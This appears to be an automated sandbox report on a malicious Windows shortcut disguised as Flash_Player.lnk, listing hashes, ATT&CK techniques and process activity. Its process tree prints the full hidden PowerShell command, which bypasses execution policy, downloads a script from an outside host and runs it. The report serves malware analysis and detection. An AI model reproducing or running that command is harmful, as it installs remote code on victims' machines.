55fcf47ceaa2a78d958cf056aab34b6a1b49af09df8f6b20bc8d323b15ab9b76

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
12/05/2024, 01:00

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General

Target

Flash_Player.lnk
Size

3KB
MD5

a591b0170684749815c8643e4e6276fc
SHA1

caf54132c73b833a654fe90e8d9842bd00fc4d85
SHA256

565836c76728f4e8e371a4cc8e35a76d24c52bb995607d63002bf893b51b5ede
SHA512

b6e3ac67762a339e1ff22e93749d944c111f536a5735fcdb496bbb3e83f1dcbe522c3a183a9ed1c6b711f096e468c12b4857bf0908272a549a9c187a384e3f42

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3388	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3388	powershell.exe
3388	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3388	powershell.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 836 wrote to memory of 3388	836	cmd.exe	84
PID 836 wrote to memory of 3388	836	cmd.exe	84

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Flash_Player.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -command Set-Variable -Name dkn -value BitsTransfer;Import-Module $dkn; Set-Variable -Name tla -value https;Set-Variable -Name qhu -value wsf;Start-BitsTransfer "$tla`://1263929185.rsc.cdn77.org/p2rv2.php?aHR0cHM6Ly8xMjYzOTI5MTg1LnJzYy5jZG43Ny5vcmd8SkJONQ%3D%3D" "$env:ALLUSERSPROFILE\jli.$qhu"; Start-Process "$env:ALLUSERSPROFILE\jli.$qhu";
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3388

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_syvqi5sp.tfy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3388-2-0x00007FFDB2B03000-0x00007FFDB2B05000-memory.dmp

Filesize
8KB

Download
memory/3388-12-0x000002086F190000-0x000002086F1B2000-memory.dmp

Filesize
136KB

Download
memory/3388-13-0x00007FFDB2B00000-0x00007FFDB35C1000-memory.dmp

Filesize
10.8MB

Download
memory/3388-14-0x00007FFDB2B00000-0x00007FFDB35C1000-memory.dmp

Filesize
10.8MB

Download
memory/3388-15-0x000002086F1C0000-0x000002086F1E6000-memory.dmp

Filesize
152KB

Download
memory/3388-16-0x000002086F1F0000-0x000002086F204000-memory.dmp

Filesize
80KB

Download
memory/3388-17-0x00007FFDB2B00000-0x00007FFDB35C1000-memory.dmp

Filesize
10.8MB

Download
memory/3388-18-0x00007FFDB2B00000-0x00007FFDB35C1000-memory.dmp

Filesize
10.8MB

Download
memory/3388-21-0x00007FFDB2B00000-0x00007FFDB35C1000-memory.dmp

Filesize
10.8MB

Download